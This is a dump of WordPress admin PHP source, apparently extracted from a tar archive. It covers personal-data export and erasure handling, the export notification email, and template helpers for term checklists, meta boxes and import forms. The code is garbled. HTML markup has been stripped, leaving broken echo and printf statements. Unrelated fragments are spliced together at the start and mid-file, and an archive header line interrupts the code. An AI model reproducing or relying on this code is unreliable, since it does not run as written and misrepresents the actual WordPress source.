* @param array $new_plugin_data Array with uploaded plugin data.
*/
$install_actions = apply_filters( 'install_plugin_overwrite_actions', $install_actions, $this->api, $new_plugin_data );
if ( ! empty( $install_actions ) ) {
printf(
'
%s
',
__( 'The uploaded file has expired. Please go back and upload it again.' )
);
echo '
' );
}
// Now, iterate over every group in $groups and have the formatter render it in HTML.
foreach ( (array) $groups as $group_id => $group_data ) {
fwrite( $file, wp_privacy_generate_personal_data_export_group_html( $group_data, $group_id, $groups_count ) );
}
fwrite( $file, "\n" );
fwrite( $file, "\n" );
fclose( $file );
/*
* Now, generate the ZIP.
*
* If an archive has already been generated, then remove it and reuse the filename,
* to avoid breaking any URLs that may have been previously sent via email.
*/
$error = false;
// This meta value is used from version 5.5.
$archive_filename = get_post_meta( $request_id, '_export_file_name', true );
// This one stored an absolute path and is used for backward compatibility.
$archive_pathname = get_post_meta( $request_id, '_export_file_path', true );
// If a filename meta exists, use it.
if ( ! empty( $archive_filename ) ) {
$archive_pathname = $exports_dir . $archive_filename;
} elseif ( ! empty( $archive_pathname ) ) {
// If a full path meta exists, use it and create the new meta value.
$archive_filename = basename( $archive_pathname );
update_post_meta( $request_id, '_export_file_name', $archive_filename );
// Remove the back-compat meta values.
delete_post_meta( $request_id, '_export_file_url' );
delete_post_meta( $request_id, '_export_file_path' );
} else {
// If there's no filename or full path stored, create a new file.
$archive_filename = $file_basename . '.zip';
$archive_pathname = $exports_dir . $archive_filename;
update_post_meta( $request_id, '_export_file_name', $archive_filename );
}
$archive_url = $exports_url . $archive_filename;
if ( ! empty( $archive_pathname ) && file_exists( $archive_pathname ) ) {
wp_delete_file( $archive_pathname );
}
$zip = new ZipArchive();
if ( true === $zip->open( $archive_pathname, ZipArchive::CREATE ) ) {
if ( ! $zip->addFile( $json_report_pathname, 'export.json' ) ) {
$error = __( 'Unable to archive the personal data export file (JSON format).' );
}
if ( ! $zip->addFile( $html_report_pathname, 'index.html' ) ) {
$error = __( 'Unable to archive the personal data export file (HTML format).' );
}
$zip->close();
if ( ! $error ) {
/**
* Fires right after all personal data has been written to the export file.
*
* @since 4.9.6
* @since 5.4.0 Added the `$json_report_pathname` parameter.
*
* @param string $archive_pathname The full path to the export file on the filesystem.
* @param string $archive_url The URL of the archive file.
* @param string $html_report_pathname The full path to the HTML personal data report on the filesystem.
* @param int $request_id The export request ID.
* @param string $json_report_pathname The full path to the JSON personal data report on the filesystem.
*/
do_action( 'wp_privacy_personal_data_export_file_created', $archive_pathname, $archive_url, $html_report_pathname, $request_id, $json_report_pathname );
}
} else {
$error = __( 'Unable to open personal data export file (archive) for writing.' );
}
// Remove the JSON file.
unlink( $json_report_pathname );
// Remove the HTML file.
unlink( $html_report_pathname );
if ( $error ) {
wp_send_json_error( $error );
}
}
/**
* Send an email to the user with a link to the personal data export file
*
* @since 4.9.6
*
* @param int $request_id The request ID for this personal data export.
* @return true|WP_Error True on success or `WP_Error` on failure.
*/
function wp_privacy_send_personal_data_export_email( $request_id ) {
// Get the request.
$request = wp_get_user_request( $request_id );
if ( ! $request || 'export_personal_data' !== $request->action_name ) {
return new WP_Error( 'invalid_request', __( 'Invalid request ID when sending personal data export email.' ) );
}
// Localize message content for user; fallback to site default for visitors.
if ( ! empty( $request->user_id ) ) {
$switched_locale = switch_to_user_locale( $request->user_id );
} else {
$switched_locale = switch_to_locale( get_locale() );
}
/** This filter is documented in wp-includes/functions.php */
$expiration = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS );
$expiration_date = date_i18n( get_option( 'date_format' ), time() + $expiration );
$exports_url = wp_privacy_exports_url();
$export_file_name = get_post_meta( $request_id, '_export_file_name', true );
$export_file_url = $exports_url . $export_file_name;
$site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
$site_url = home_url();
/**
* Filters the recipient of the personal data export email notification.
* Should be used with great caution to avoid sending the data export link to wrong emails.
*
* @since 5.3.0
*
* @param string $request_email The email address of the notification recipient.
* @param WP_User_Request $request The request that is initiating the notification.
*/
$request_email = apply_filters( 'wp_privacy_personal_data_email_to', $request->email, $request );
$email_data = array(
'request' => $request,
'expiration' => $expiration,
'expiration_date' => $expiration_date,
'message_recipient' => $request_email,
'export_file_url' => $export_file_url,
'sitename' => $site_name,
'siteurl' => $site_url,
);
/* translators: Personal data export notification email subject. %s: Site title. */
$subject = sprintf( __( '[%s] Personal Data Export' ), $site_name );
/**
* Filters the subject of the email sent when an export request is completed.
*
* @since 5.3.0
*
* @param string $subject The email subject.
* @param string $sitename The name of the site.
* @param array $email_data {
* Data relating to the account action email.
*
* @type WP_User_Request $request User request object.
* @type int $expiration The time in seconds until the export file expires.
* @type string $expiration_date The localized date and time when the export file expires.
* @type string $message_recipient The address that the email will be sent to. Defaults
* to the value of `$request->email`, but can be changed
* by the `wp_privacy_personal_data_email_to` filter.
* @type string $export_file_url The export file URL.
* @type string $sitename The site name sending the mail.
* @type string $siteurl The site URL sending the mail.
* }
*/
$subject = apply_filters( 'wp_privacy_personal_data_email_subject', $subject, $site_name, $email_data );
/* translators: Do not translate EXPIRATION, LINK, SITENAME, SITEURL: those are placeholders. */
$email_text = __(
'Howdy,
Your request for an export of personal data has been completed. You may
download your personal data by clicking on the link below. For privacy
and security, we will automatically delete the file on ###EXPIRATION###,
so please download it before then.
###LINK###
Regards,
All at ###SITENAME###
###SITEURL###'
);
/**
* Filters the text of the email sent with a personal data export file.
*
* The following strings have a special meaning and will get replaced dynamically:
* ###EXPIRATION### The date when the URL will be automatically deleted.
* ###LINK### URL of the personal data export file for the user.
* ###SITENAME### The name of the site.
* ###SITEURL### The URL to the site.
*
* @since 4.9.6
* @since 5.3.0 Introduced the `$email_data` array.
*
* @param string $email_text Text in the email.
* @param int $request_id The request ID for this personal data export.
* @param array $email_data {
* Data relating to the account action email.
*
* @type WP_User_Request $request User request object.
* @type int $expiration The time in seconds until the export file expires.
* @type string $expiration_date The localized date and time when the export file expires.
* @type string $message_recipient The address that the email will be sent to. Defaults
* to the value of `$request->email`, but can be changed
* by the `wp_privacy_personal_data_email_to` filter.
* @type string $export_file_url The export file URL.
* @type string $sitename The site name sending the mail.
* @type string $siteurl The site URL sending the mail.
*/
$content = apply_filters( 'wp_privacy_personal_data_email_content', $email_text, $request_id, $email_data );
$content = str_replace( '###EXPIRATION###', $expiration_date, $content );
$content = str_replace( '###LINK###', sanitize_url( $export_file_url ), $content );
$content = str_replace( '###EMAIL###', $request_email, $content );
$content = str_replace( '###SITENAME###', $site_name, $content );
$content = str_replace( '###SITEURL###', sanitize_url( $site_url ), $content );
$headers = '';
/**
* Filters the headers of the email sent with a personal data export file.
*
* @since 5.4.0
*
* @param string|array $headers The email headers.
* @param string $subject The email subject.
* @param string $content The email content.
* @param int $request_id The request ID.
* @param array $email_data {
* Data relating to the account action email.
*
* @type WP_User_Request $request User request object.
* @type int $expiration The time in seconds until the export file expires.
* @type string $expiration_date The localized date and time when the export file expires.
* @type string $message_recipient The address that the email will be sent to. Defaults
* to the value of `$request->email`, but can be changed
* by the `wp_privacy_personal_data_email_to` filter.
* @type string $export_file_url The export file URL.
* @type string $sitename The site name sending the mail.
* @type string $siteurl The site URL sending the mail.
* }
*/
$headers = apply_filters( 'wp_privacy_personal_data_email_headers', $headers, $subject, $content, $request_id, $email_data );
$mail_success = wp_mail( $request_email, $subject, $content, $headers );
if ( $switched_locale ) {
restore_previous_locale();
}
if ( ! $mail_success ) {
return new WP_Error( 'privacy_email_error', __( 'Unable to send personal data export email.' ) );
}
return true;
}
/**
* Intercept personal data exporter page Ajax responses in order to assemble the personal data export file.
*
* @since 4.9.6
*
* @see 'wp_privacy_personal_data_export_page'
*
* @param array $response The response from the personal data exporter for the given page.
* @param int $exporter_index The index of the personal data exporter. Begins at 1.
* @param string $email_address The email address of the user whose personal data this is.
* @param int $page The page of personal data for this exporter. Begins at 1.
* @param int $request_id The request ID for this personal data export.
* @param bool $send_as_email Whether the final results of the export should be emailed to the user.
* @param string $exporter_key The slug (key) of the exporter.
* @return array The filtered response.
*/
function wp_privacy_process_personal_data_export_page( $response, $exporter_index, $email_address, $page, $request_id, $send_as_email, $exporter_key ) {
/* Do some simple checks on the shape of the response from the exporter.
* If the exporter response is malformed, don't attempt to consume it - let it
* pass through to generate a warning to the user by default Ajax processing.
*/
if ( ! is_array( $response ) ) {
return $response;
}
if ( ! array_key_exists( 'done', $response ) ) {
return $response;
}
if ( ! array_key_exists( 'data', $response ) ) {
return $response;
}
if ( ! is_array( $response['data'] ) ) {
return $response;
}
// Get the request.
$request = wp_get_user_request( $request_id );
if ( ! $request || 'export_personal_data' !== $request->action_name ) {
wp_send_json_error( __( 'Invalid request ID when merging personal data to export.' ) );
}
$export_data = array();
// First exporter, first page? Reset the report data accumulation array.
if ( 1 === $exporter_index && 1 === $page ) {
update_post_meta( $request_id, '_export_data_raw', $export_data );
} else {
$accumulated_data = get_post_meta( $request_id, '_export_data_raw', true );
if ( $accumulated_data ) {
$export_data = $accumulated_data;
}
}
// Now, merge the data from the exporter response into the data we have accumulated already.
$export_data = array_merge( $export_data, $response['data'] );
update_post_meta( $request_id, '_export_data_raw', $export_data );
// If we are not yet on the last page of the last exporter, return now.
/** This filter is documented in wp-admin/includes/ajax-actions.php */
$exporters = apply_filters( 'wp_privacy_personal_data_exporters', array() );
$is_last_exporter = count( $exporters ) === $exporter_index;
$exporter_done = $response['done'];
if ( ! $is_last_exporter || ! $exporter_done ) {
return $response;
}
// Last exporter, last page - let's prepare the export file.
// First we need to re-organize the raw data hierarchically in groups and items.
$groups = array();
foreach ( (array) $export_data as $export_datum ) {
$group_id = $export_datum['group_id'];
$group_label = $export_datum['group_label'];
$group_description = '';
if ( ! empty( $export_datum['group_description'] ) ) {
$group_description = $export_datum['group_description'];
}
if ( ! array_key_exists( $group_id, $groups ) ) {
$groups[ $group_id ] = array(
'group_label' => $group_label,
'group_description' => $group_description,
'items' => array(),
);
}
$item_id = $export_datum['item_id'];
if ( ! array_key_exists( $item_id, $groups[ $group_id ]['items'] ) ) {
$groups[ $group_id ]['items'][ $item_id ] = array();
}
$old_item_data = $groups[ $group_id ]['items'][ $item_id ];
$merged_item_data = array_merge( $export_datum['data'], $old_item_data );
$groups[ $group_id ]['items'][ $item_id ] = $merged_item_data;
}
// Then save the grouped data into the request.
delete_post_meta( $request_id, '_export_data_raw' );
update_post_meta( $request_id, '_export_data_grouped', $groups );
/**
* Generate the export file from the collected, grouped personal data.
*
* @since 4.9.6
*
* @param int $request_id The export request ID.
*/
do_action( 'wp_privacy_personal_data_export_file', $request_id );
// Clear the grouped data now that it is no longer needed.
delete_post_meta( $request_id, '_export_data_grouped' );
// If the destination is email, send it now.
if ( $send_as_email ) {
$mail_success = wp_privacy_send_personal_data_export_email( $request_id );
if ( is_wp_error( $mail_success ) ) {
wp_send_json_error( $mail_success->get_error_message() );
}
// Update the request to completed state when the export email is sent.
_wp_privacy_completed_request( $request_id );
} else {
// Modify the response to include the URL of the export file so the browser can fetch it.
$exports_url = wp_privacy_exports_url();
$export_file_name = get_post_meta( $request_id, '_export_file_name', true );
$export_file_url = $exports_url . $export_file_name;
if ( ! empty( $export_file_url ) ) {
$response['url'] = $export_file_url;
}
}
return $response;
}
/**
* Mark erasure requests as completed after processing is finished.
*
* This intercepts the Ajax responses to personal data eraser page requests, and
* monitors the status of a request. Once all of the processing has finished, the
* request is marked as completed.
*
* @since 4.9.6
*
* @see 'wp_privacy_personal_data_erasure_page'
*
* @param array $response The response from the personal data eraser for
* the given page.
* @param int $eraser_index The index of the personal data eraser. Begins
* at 1.
* @param string $email_address The email address of the user whose personal
* data this is.
* @param int $page The page of personal data for this eraser.
* Begins at 1.
* @param int $request_id The request ID for this personal data erasure.
* @return array The filtered response.
*/
function wp_privacy_process_personal_data_erasure_page( $response, $eraser_index, $email_address, $page, $request_id ) {
/*
* If the eraser response is malformed, don't attempt to consume it; let it
* pass through, so that the default Ajax processing will generate a warning
* to the user.
*/
if ( ! is_array( $response ) ) {
return $response;
}
if ( ! array_key_exists( 'done', $response ) ) {
return $response;
}
if ( ! array_key_exists( 'items_removed', $response ) ) {
return $response;
}
if ( ! array_key_exists( 'items_retained', $response ) ) {
return $response;
}
if ( ! array_key_exists( 'messages', $response ) ) {
return $response;
}
// Get the request.
$request = wp_get_user_request( $request_id );
if ( ! $request || 'remove_personal_data' !== $request->action_name ) {
wp_send_json_error( __( 'Invalid request ID when processing personal data to erase.' ) );
}
/** This filter is documented in wp-admin/includes/ajax-actions.php */
$erasers = apply_filters( 'wp_privacy_personal_data_erasers', array() );
$is_last_eraser = count( $erasers ) === $eraser_index;
$eraser_done = $response['done'];
if ( ! $is_last_eraser || ! $eraser_done ) {
return $response;
}
_wp_privacy_completed_request( $request_id );
/**
* Fires immediately after a personal data erasure request has been marked completed.
*
* @since 4.9.6
*
* @param int $request_id The privacy request post ID associated with this request.
*/
do_action( 'wp_privacy_personal_data_erased', $request_id );
return $response;
}
template.php 0000644 00000300502 14757313107 0007100 0 ustar 00 'category',
'descendants_and_self' => $descendants_and_self,
'selected_cats' => $selected_cats,
'popular_cats' => $popular_cats,
'walker' => $walker,
'checked_ontop' => $checked_ontop,
)
);
}
/**
* Outputs an unordered list of checkbox input elements labelled with term names.
*
* Taxonomy-independent version of wp_category_checklist().
*
* @since 3.0.0
* @since 4.4.0 Introduced the `$echo` argument.
*
* @param int $post_id Optional. Post ID. Default 0.
* @param array|string $args {
* Optional. Array or string of arguments for generating a terms checklist. Default empty array.
*
* @type int $descendants_and_self ID of the category to output along with its descendants.
* Default 0.
* @type int[] $selected_cats Array of category IDs to mark as checked. Default false.
* @type int[] $popular_cats Array of category IDs to receive the "popular-category" class.
* Default false.
* @type Walker $walker Walker object to use to build the output. Default empty which
* results in a Walker_Category_Checklist instance being used.
* @type string $taxonomy Taxonomy to generate the checklist for. Default 'category'.
* @type bool $checked_ontop Whether to move checked items out of the hierarchy and to
* the top of the list. Default true.
* @type bool $echo Whether to echo the generated markup. False to return the markup instead
* of echoing it. Default true.
* }
* @return string HTML list of input elements.
*/
function wp_terms_checklist( $post_id = 0, $args = array() ) {
$defaults = array(
'descendants_and_self' => 0,
'selected_cats' => false,
'popular_cats' => false,
'walker' => null,
'taxonomy' => 'category',
'checked_ontop' => true,
'echo' => true,
);
/**
* Filters the taxonomy terms checklist arguments.
*
* @since 3.4.0
*
* @see wp_terms_checklist()
*
* @param array|string $args An array or string of arguments.
* @param int $post_id The post ID.
*/
$params = apply_filters( 'wp_terms_checklist_args', $args, $post_id );
$parsed_args = wp_parse_args( $params, $defaults );
if ( empty( $parsed_args['walker'] ) || ! ( $parsed_args['walker'] instanceof Walker ) ) {
$walker = new Walker_Category_Checklist();
} else {
$walker = $parsed_args['walker'];
}
$taxonomy = $parsed_args['taxonomy'];
$descendants_and_self = (int) $parsed_args['descendants_and_self'];
$args = array( 'taxonomy' => $taxonomy );
$tax = get_taxonomy( $taxonomy );
$args['disabled'] = ! current_user_can( $tax->cap->assign_terms );
$args['list_only'] = ! empty( $parsed_args['list_only'] );
if ( is_array( $parsed_args['selected_cats'] ) ) {
$args['selected_cats'] = array_map( 'intval', $parsed_args['selected_cats'] );
} elseif ( $post_id ) {
$args['selected_cats'] = wp_get_object_terms( $post_id, $taxonomy, array_merge( $args, array( 'fields' => 'ids' ) ) );
} else {
$args['selected_cats'] = array();
}
if ( is_array( $parsed_args['popular_cats'] ) ) {
$args['popular_cats'] = array_map( 'intval', $parsed_args['popular_cats'] );
} else {
$args['popular_cats'] = get_terms(
array(
'taxonomy' => $taxonomy,
'fields' => 'ids',
'orderby' => 'count',
'order' => 'DESC',
'number' => 10,
'hierarchical' => false,
)
);
}
if ( $descendants_and_self ) {
$categories = (array) get_terms(
array(
'taxonomy' => $taxonomy,
'child_of' => $descendants_and_self,
'hierarchical' => 0,
'hide_empty' => 0,
)
);
$self = get_term( $descendants_and_self, $taxonomy );
array_unshift( $categories, $self );
} else {
$categories = (array) get_terms(
array(
'taxonomy' => $taxonomy,
'get' => 'all',
)
);
}
$output = '';
if ( $parsed_args['checked_ontop'] ) {
/*
* Post-process $categories rather than adding an exclude to the get_terms() query
* to keep the query the same across all posts (for any query cache).
*/
$checked_categories = array();
$keys = array_keys( $categories );
foreach ( $keys as $k ) {
if ( in_array( $categories[ $k ]->term_id, $args['selected_cats'], true ) ) {
$checked_categories[] = $categories[ $k ];
unset( $categories[ $k ] );
}
}
// Put checked categories on top.
$output .= $walker->walk( $checked_categories, 0, $args );
}
// Then the rest of them.
$output .= $walker->walk( $categories, 0, $args );
if ( $parsed_args['echo'] ) {
echo $output;
}
return $output;
}
/**
* Retrieves a list of the most popular terms from the specified taxonomy.
*
* If the `$display` argument is true then the elements for a list of checkbox
* `` elements labelled with the names of the selected terms is output.
* If the `$post_ID` global is not empty then the terms associated with that
* post will be marked as checked.
*
* @since 2.5.0
*
* @param string $taxonomy Taxonomy to retrieve terms from.
* @param int $default_term Optional. Not used.
* @param int $number Optional. Number of terms to retrieve. Default 10.
* @param bool $display Optional. Whether to display the list as well. Default true.
* @return int[] Array of popular term IDs.
*/
function wp_popular_terms_checklist( $taxonomy, $default_term = 0, $number = 10, $display = true ) {
$post = get_post();
if ( $post && $post->ID ) {
$checked_terms = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
} else {
$checked_terms = array();
}
$terms = get_terms(
array(
'taxonomy' => $taxonomy,
'orderby' => 'count',
'order' => 'DESC',
'number' => $number,
'hierarchical' => false,
)
);
$tax = get_taxonomy( $taxonomy );
$popular_ids = array();
foreach ( (array) $terms as $term ) {
$popular_ids[] = $term->term_id;
if ( ! $display ) { // Hack for Ajax use.
continue;
}
$id = "popular-$taxonomy-$term->term_id";
$checked = in_array( $term->term_id, $checked_terms, true ) ? 'checked="checked"' : '';
?>
'link_category',
'orderby' => 'name',
'hide_empty' => 0,
)
);
if ( empty( $categories ) ) {
return;
}
foreach ( $categories as $category ) {
$cat_id = $category->term_id;
/** This filter is documented in wp-includes/category-template.php */
$name = esc_html( apply_filters( 'the_category', $category->name, '', '' ) );
$checked = in_array( $cat_id, $checked_categories, true ) ? ' checked="checked"' : '';
echo '';
}
}
/**
* Adds hidden fields with the data for use in the inline editor for posts and pages.
*
* @since 2.7.0
*
* @param WP_Post $post Post object.
*/
function get_inline_data( $post ) {
$post_type_object = get_post_type_object( $post->post_type );
if ( ! current_user_can( 'edit_post', $post->ID ) ) {
return;
}
$title = esc_textarea( trim( $post->post_title ) );
echo '
' . $title . '
' .
/** This filter is documented in wp-admin/edit-tag-form.php */
'
';
}
/**
* Fires after outputting the fields for the inline editor for posts and pages.
*
* @since 4.9.8
*
* @param WP_Post $post The current post object.
* @param WP_Post_Type $post_type_object The current post's post type object.
*/
do_action( 'add_inline_data', $post, $post_type_object );
echo '
';
}
/**
* Outputs the in-line comment reply-to form in the Comments list table.
*
* @since 2.7.0
*
* @global WP_List_Table $wp_list_table
*
* @param int $position Optional. The value of the 'position' input field. Default 1.
* @param bool $checkbox Optional. The value of the 'checkbox' input field. Default false.
* @param string $mode Optional. If set to 'single', will use WP_Post_Comments_List_Table,
* otherwise WP_Comments_List_Table. Default 'single'.
* @param bool $table_row Optional. Whether to use a table instead of a div element. Default true.
*/
function wp_comment_reply( $position = 1, $checkbox = false, $mode = 'single', $table_row = true ) {
global $wp_list_table;
/**
* Filters the in-line comment reply-to form output in the Comments
* list table.
*
* Returning a non-empty value here will short-circuit display
* of the in-line comment-reply form in the Comments list table,
* echoing the returned value instead.
*
* @since 2.7.0
*
* @see wp_comment_reply()
*
* @param string $content The reply-to form content.
* @param array $args An array of default args.
*/
$content = apply_filters(
'wp_comment_reply',
'',
array(
'position' => $position,
'checkbox' => $checkbox,
'mode' => $mode,
)
);
if ( ! empty( $content ) ) {
echo $content;
return;
}
if ( ! $wp_list_table ) {
if ( 'single' === $mode ) {
$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table' );
} else {
$wp_list_table = _get_list_table( 'WP_Comments_List_Table' );
}
}
?>
";
return $r;
}
/**
* Prints the form in the Custom Fields meta box.
*
* @since 1.2.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param WP_Post $post Optional. The post being edited.
*/
function meta_form( $post = null ) {
global $wpdb;
$post = get_post( $post );
/**
* Filters values for the meta key dropdown in the Custom Fields meta box.
*
* Returning a non-null value will effectively short-circuit and avoid a
* potentially expensive query against postmeta.
*
* @since 4.4.0
*
* @param array|null $keys Pre-defined meta keys to be used in place of a postmeta query. Default null.
* @param WP_Post $post The current post object.
*/
$keys = apply_filters( 'postmeta_form_keys', null, $post );
if ( null === $keys ) {
/**
* Filters the number of custom fields to retrieve for the drop-down
* in the Custom Fields meta box.
*
* @since 2.1.0
*
* @param int $limit Number of custom fields to retrieve. Default 30.
*/
$limit = apply_filters( 'postmeta_form_limit', 30 );
$keys = $wpdb->get_col(
$wpdb->prepare(
"SELECT DISTINCT meta_key
FROM $wpdb->postmeta
WHERE meta_key NOT BETWEEN '_' AND '_z'
HAVING meta_key NOT LIKE %s
ORDER BY meta_key
LIMIT %d",
$wpdb->esc_like( '_' ) . '%',
$limit
)
);
}
if ( $keys ) {
natcasesort( $keys );
}
?>
" . esc_html( $template ) . '';
}
}
/**
* Prints out option HTML elements for the page parents drop-down.
*
* @since 1.5.0
* @since 4.4.0 `$post` argument was added.
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $default_page Optional. The default page ID to be pre-selected. Default 0.
* @param int $parent_page Optional. The parent page ID. Default 0.
* @param int $level Optional. Page depth level. Default 0.
* @param int|WP_Post $post Post ID or WP_Post object.
* @return void|false Void on success, false if the page has no children.
*/
function parent_dropdown( $default_page = 0, $parent_page = 0, $level = 0, $post = null ) {
global $wpdb;
$post = get_post( $post );
$items = $wpdb->get_results(
$wpdb->prepare(
"SELECT ID, post_parent, post_title
FROM $wpdb->posts
WHERE post_parent = %d AND post_type = 'page'
ORDER BY menu_order",
$parent_page
)
);
if ( $items ) {
foreach ( $items as $item ) {
// A page cannot be its own parent.
if ( $post && $post->ID && (int) $item->ID === $post->ID ) {
continue;
}
$pad = str_repeat( ' ', $level * 3 );
$selected = selected( $default_page, $item->ID, false );
echo "\n\t';
parent_dropdown( $default_page, $item->ID, $level + 1 );
}
} else {
return false;
}
}
/**
* Prints out option HTML elements for role selectors.
*
* @since 2.1.0
*
* @param string $selected Slug for the role that should be already selected.
*/
function wp_dropdown_roles( $selected = '' ) {
$r = '';
$editable_roles = array_reverse( get_editable_roles() );
foreach ( $editable_roles as $role => $details ) {
$name = translate_user_role( $details['name'] );
// Preselect specified role.
if ( $selected === $role ) {
$r .= "\n\t";
} else {
$r .= "\n\t";
}
}
echo $r;
}
/**
* Outputs the form used by the importers to accept the data to be imported.
*
* @since 2.0.0
*
* @param string $action The action attribute for the form.
*/
function wp_import_upload_form( $action ) {
/**
* Filters the maximum allowed upload size for import files.
*
* @since 2.3.0
*
* @see wp_max_upload_size()
*
* @param int $max_upload_size Allowed upload size. Default 1 MB.
*/
$bytes = apply_filters( 'import_upload_size_limit', wp_max_upload_size() );
$size = size_format( $bytes );
$upload_dir = wp_upload_dir();
if ( ! empty( $upload_dir['error'] ) ) :
$upload_directory_error = '
' . __( 'Before you can upload your import file, you will need to fix the following error:' ) . '
';
$upload_directory_error .= '
' . $upload_dir['error'] . '
';
wp_admin_notice(
$upload_directory_error,
array(
'additional_classes' => array( 'error' ),
'paragraph_wrap' => false,
)
);
else :
?>
id ) ) {
return;
}
$page = $screen->id;
if ( ! isset( $wp_meta_boxes ) ) {
$wp_meta_boxes = array();
}
if ( ! isset( $wp_meta_boxes[ $page ] ) ) {
$wp_meta_boxes[ $page ] = array();
}
if ( ! isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
$wp_meta_boxes[ $page ][ $context ] = array();
}
foreach ( array_keys( $wp_meta_boxes[ $page ] ) as $a_context ) {
foreach ( array( 'high', 'core', 'default', 'low' ) as $a_priority ) {
if ( ! isset( $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ] ) ) {
continue;
}
// If a core box was previously removed, don't add.
if ( ( 'core' === $priority || 'sorted' === $priority )
&& false === $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]
) {
return;
}
// If a core box was previously added by a plugin, don't add.
if ( 'core' === $priority ) {
/*
* If the box was added with default priority, give it core priority
* to maintain sort order.
*/
if ( 'default' === $a_priority ) {
$wp_meta_boxes[ $page ][ $a_context ]['core'][ $id ] = $wp_meta_boxes[ $page ][ $a_context ]['default'][ $id ];
unset( $wp_meta_boxes[ $page ][ $a_context ]['default'][ $id ] );
}
return;
}
// If no priority given and ID already present, use existing priority.
if ( empty( $priority ) ) {
$priority = $a_priority;
/*
* Else, if we're adding to the sorted priority, we don't know the title
* or callback. Grab them from the previously added context/priority.
*/
} elseif ( 'sorted' === $priority ) {
$title = $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]['title'];
$callback = $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]['callback'];
$callback_args = $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]['args'];
}
// An ID can be in only one priority and one context.
if ( $priority !== $a_priority || $context !== $a_context ) {
unset( $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ] );
}
}
}
if ( empty( $priority ) ) {
$priority = 'low';
}
if ( ! isset( $wp_meta_boxes[ $page ][ $context ][ $priority ] ) ) {
$wp_meta_boxes[ $page ][ $context ][ $priority ] = array();
}
$wp_meta_boxes[ $page ][ $context ][ $priority ][ $id ] = array(
'id' => $id,
'title' => $title,
'callback' => $callback,
'args' => $callback_args,
);
}
/**
* Renders a "fake" meta box with an information message,
* shown on the block editor, when an incompatible meta box is found.
*
* @since 5.0.0
*
* @param mixed $data_object The data object being rendered on this screen.
* @param array $box {
* Custom formats meta box arguments.
*
* @type string $id Meta box 'id' attribute.
* @type string $title Meta box title.
* @type callable $old_callback The original callback for this meta box.
* @type array $args Extra meta box arguments.
* }
*/
function do_block_editor_incompatible_meta_box( $data_object, $box ) {
$plugin = _get_plugin_from_callback( $box['old_callback'] );
$plugins = get_plugins();
echo '
';
if ( $plugin ) {
/* translators: %s: The name of the plugin that generated this meta box. */
printf( __( 'This meta box, from the %s plugin, is not compatible with the block editor.' ), "{$plugin['Name']}" );
} else {
_e( 'This meta box is not compatible with the block editor.' );
}
echo '
';
/* translators: %s: A link to install the Classic Editor plugin. */
printf( __( 'Please install the Classic Editor plugin to use this meta box.' ), esc_url( $install_url ) );
echo '
';
/* translators: %s: A link to activate the Classic Editor plugin. */
printf( __( 'Please activate the Classic Editor plugin to use this meta box.' ), esc_url( $activate_url ) );
echo '
';
/* translators: %s: A link to use the Classic Editor plugin. */
printf( __( 'Please open the classic editor to use this meta box.' ), esc_url( $edit_url ) );
echo '
';
}
}
/**
* Internal helper function to find the plugin from a meta box callback.
*
* @since 5.0.0
*
* @access private
*
* @param callable $callback The callback function to check.
* @return array|null The plugin that the callback belongs to, or null if it doesn't belong to a plugin.
*/
function _get_plugin_from_callback( $callback ) {
try {
if ( is_array( $callback ) ) {
$reflection = new ReflectionMethod( $callback[0], $callback[1] );
} elseif ( is_string( $callback ) && str_contains( $callback, '::' ) ) {
$reflection = new ReflectionMethod( $callback );
} else {
$reflection = new ReflectionFunction( $callback );
}
} catch ( ReflectionException $exception ) {
// We could not properly reflect on the callable, so we abort here.
return null;
}
// Don't show an error if it's an internal PHP function.
if ( ! $reflection->isInternal() ) {
// Only show errors if the meta box was registered by a plugin.
$filename = wp_normalize_path( $reflection->getFileName() );
$plugin_dir = wp_normalize_path( WP_PLUGIN_DIR );
if ( str_starts_with( $filename, $plugin_dir ) ) {
$filename = str_replace( $plugin_dir, '', $filename );
$filename = preg_replace( '|^/([^/]*/).*$|', '\\1', $filename );
$plugins = get_plugins();
foreach ( $plugins as $name => $plugin ) {
if ( str_starts_with( $name, $filename ) ) {
return $plugin;
}
}
}
}
return null;
}
/**
* Meta-Box template function.
*
* @since 2.5.0
*
* @global array $wp_meta_boxes Global meta box state.
*
* @param string|WP_Screen $screen The screen identifier. If you have used add_menu_page() or
* add_submenu_page() to create a new screen (and hence screen_id)
* make sure your menu slug conforms to the limits of sanitize_key()
* otherwise the 'screen' menu may not correctly render on your page.
* @param string $context The screen context for which to display meta boxes.
* @param mixed $data_object Gets passed to the meta box callback function as the first parameter.
* Often this is the object that's the focus of the current screen,
* for example a `WP_Post` or `WP_Comment` object.
* @return int Number of meta_boxes.
*/
function do_meta_boxes( $screen, $context, $data_object ) {
global $wp_meta_boxes;
static $already_sorted = false;
if ( empty( $screen ) ) {
$screen = get_current_screen();
} elseif ( is_string( $screen ) ) {
$screen = convert_to_screen( $screen );
}
$page = $screen->id;
$hidden = get_hidden_meta_boxes( $screen );
printf( '
', esc_attr( $context ) );
/*
* Grab the ones the user has manually sorted.
* Pull them out of their previous context/priority and into the one the user chose.
*/
$sorted = get_user_option( "meta-box-order_$page" );
if ( ! $already_sorted && $sorted ) {
foreach ( $sorted as $box_context => $ids ) {
foreach ( explode( ',', $ids ) as $id ) {
if ( $id && 'dashboard_browser_nag' !== $id ) {
add_meta_box( $id, null, null, $screen, $box_context, 'sorted' );
}
}
}
}
$already_sorted = true;
$i = 0;
if ( isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
foreach ( array( 'high', 'sorted', 'core', 'default', 'low' ) as $priority ) {
if ( isset( $wp_meta_boxes[ $page ][ $context ][ $priority ] ) ) {
foreach ( (array) $wp_meta_boxes[ $page ][ $context ][ $priority ] as $box ) {
if ( false === $box || ! $box['title'] ) {
continue;
}
$block_compatible = true;
